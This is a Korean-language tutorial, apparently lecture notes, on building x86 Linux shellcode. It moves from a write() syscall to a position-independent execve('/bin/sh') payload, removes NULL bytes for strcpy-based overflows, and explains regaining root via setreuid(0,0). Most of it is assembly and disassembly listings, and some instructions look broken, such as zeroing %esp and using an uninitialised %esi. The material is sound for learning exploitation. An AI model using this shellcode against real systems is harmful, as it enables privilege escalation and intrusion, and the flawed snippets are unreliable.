eax : 시스템 콜의 번호
ebx : 함수의 첫번째 인자
ecx : 함수의 두번쨰 인자
edx : 함수의 세번째 인자
write(1, "Hello, Students!\n", 17);
를 어셈블리어로 나타내면 아래와 같다.
.LCO:
.string "Hello, Students!\n"
.globl main
main:
movl $0x04, %eax
movl $0x01, %ebx
movl $.LCO, %ecx
movl $0x11, %edx
int $0x80
ret
위는 문자열을 주소값으로 참조하기 때문에 다른 환경에서 그 주소에 Hello, Students!라는 문자열이 있을 확률은 거의 없고 이 말은 문자열을 주소값으로 참조하는 쉘코드는 아무 쓸모가 없다는 말이다. 이 문제를 방지하기 위해서
일단 문자열의 시작 주소가 스택에 저장되도록 하고, 그 다음 스택에서 그 주소 값을 꺼내 %ecx 레지스터에 저장하면 되는 것이다. 아래와 같이 어셈블리코드를 짜면 된다.
.globl main
main:
jmp come_here
func:
movl $0x04, %eax
movl $0x01, %ebx
popl %ecx
movl $0x11, %edx
int $0x80
movl $0x01, %eax
movl $0x00, %ebx
int $0x80
come_here:
call func
.string "Hello, Students!\n"
call 명령에 의해 어떤 함수가 호출되면, 함수 종료 후 실행될 리턴 어드레스. 즉, call 명령 바로 다음 명령의 주소가 스택에 저장된다. 따라서 위의 경우엔 call func 바로 다음에 있는 "Hello..." 문자열의 시작 주소가 스택에 저장이 된다. 이를 통해 문자열을 바로 레지스터에 옮겨 이용할 수 있게 된다. 또한 문자열이 바뀌어도 call에 의한 위치는 변하지 않는다.
system("/bin/sh"); , execl("/bin/sh", "sh", 0); 를 사용하지 않는 이유는..
두 함수 역시 내부적으로는 결국 execve() 함수를 사용하기 때문이다.
우리가 기능하고자 하는 최소한의 쉘코드기능은 아래의 코드와 같다.
int main()
{
char *str[2];
str[0] = "/bin/sh";
str[1] = 0;
execve(str[0], str, 0);
}
main함수를 어셈블리어로 표현하면 아래와 같다.
(gdb) disass main
Dump of assembler code for function main:
0x80481e0 <main>: push %ebp
// 기존의 base point 값 저장
0x80481e1 <main+1>: mov %esp,%ebp
// 새로운 base point 값 설정
0x80481e3 <main+3>: sub $0x8,%esp
// 스택의 8 바이트의 공간 할당
0x80481e6 <main+6>: movl $0x808cec8,0xfffffff8(%ebp)
// str[0]에 "/bin/sh" 문자열의 주소 저장
0x80481ed <main+13>: movl $0x0,0xfffffffc(%ebp)
// str[1]에 NULL 저장
0x80481f4 <main+20>: sub $0x4,%esp
// DUMMY 값 할당
0x80481f7 <main+23>: push $0x0
// 세 번째 인자 0 저장
0x80481f9 <main+25>: lea 0xfffffff8(%ebp),%eax
// str[0]의 주소 값을 %eax에 저장
0x80481fc <main+28>: push %eax
// 두 번째 인자 str[0]의 주소 저장
0x80481fd <main+29>: pushl 0xfffffff8(%ebp)
// 세 번째 인자 str[1] 저장
0x8048200 <main+32>: call 0x804cb40 <execve>
// execve() 함수 호출
(gdb) disass execve
0x804cb46 <execve+6>: mov %esp,%ebp
0x804cb4c <execve+12>: mov 0x8(%ebp),%edi
// 첫 번째 인자인 str[1]
0x804cb56 <execve+22>: mov 0xc(%ebp),%ecx
// 두 번째 인자인 str[0]의 주소
0x804cb59 <execve+25>: mov 0x10(%ebp),%edx
// 세 번째 인자인 0
0x804cb5d <execve+29>: mov %edi,%ebx
// str[1]을 다시 %ebx에 저장
0x804cb5f <execve+31>: mov $0xb,%eax
// execve 시스템 콜 번호인 11
0x804cb64 <execve+36>: int $0x80
.globl main
main:
jmp come_here
func:
movl $0x0b, %eax
popl %ebx
movl %ebx, (%esi)
movl $0x00, 0x4(%esi)
leal (%esi), %ecx
movl $0x00, %edx
int $0x80
movl $0x01, %eax
movl $0x00, %ebx
int $0x80
come_here:
calll func
.string "/bin/sh\00"
쉘코드가 strcpy() 등의 문자열을 다루는 함수에 사용된다면
쉘코드 내용이 중간에 짤려나가 버릴 것이다. 왜냐햐면, 대부분의 문자열을 다루는
함수들이 \x00(NULL) 문자를 만나면 그것이 문자열의 끝으로 인식하여 값을 읽어
들이는 작업을 중단하기 때문이다.
"xor %eax %eax" <- %eax를 모두 0으로 바꾼 후..
"movb $0x0b %eax" <- %eax의 끝 바이트에만 \x0b를 넣는다.
xor %esp, %esp
movl %esp, 0x7(%ebx) 8째 자리에 0x00
위의 과정을 거치고
불필요한 xor을 최소화하고
exit(0) 부분은 제거 시킨다. 왜냐하면, /bin/sh이 실행되면서 새로운 메모리 공간으로
이동되기 때문에 exit(0)로 뒷 정리를 해줄 필요가 없다.
080483d0 <main>:
80483d0: eb 15 jmp 80483e7 <come_here>
080483d2 <func>:
80483d2: 31 c0 xor %eax,%eax
80483d4: 5b pop %ebx
80483d5: 89 43 07 mov %eax,0x7(%ebx)
80483d8: 89 1e mov %ebx,(%esi)
80483da: 89 46 04 mov %eax,0x4(%esi)
80483dd: b0 0b mov $0xb,%al
80483df: 31 e4 xor %esp,%esp
80483e1: 8d 0e lea (%esi),%ecx
80483e3: 31 d2 xor %edx,%edx
80483e5: cd 80 int $0x80
080483e7 <come_here>:
80483e7: e8 e6 ff ff ff call 80483d2 <func>
80483ec: 2f das
80483ed: 62 69 6e bound %ebp,0x6e(%ecx)
80483f0: 2f das
80483f1: 73 68 jae 804845b <gcc2_compiled.+0x1b>
레드햇 버젼 7.0 이후에, /bin/sh(bash)가 백도어로 사용되는 것을 방지하기 위해 /bin/sh이 실행될 때 프로그램의 실행
권한이 아닌, 프로그램을 실행시킨 사용자의 권한으로 실행되기 때문이다.
따라서 mirable이라는 사용자가 root 권한의 파일을 해킹하여 /bin/sh을 실행하면,
root가 아닌, mirable 권한의 쉘을 얻게 된다. 하지만, 이 문제는 쉘을 실행시키기 전에 setreuid(0,0);을 호출함으로써 아주 쉽게 해결할 수 있다.
종류로는
/bin/sh의 방어나 chroot(), 쉘코드 문자 필터링 등을 우회하는 쉘코드. 혹은, 리모트 환경 상에서 사용할 수 있는 bindshell,
reverse telnet 쉘코드가 있다.
참고 : http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt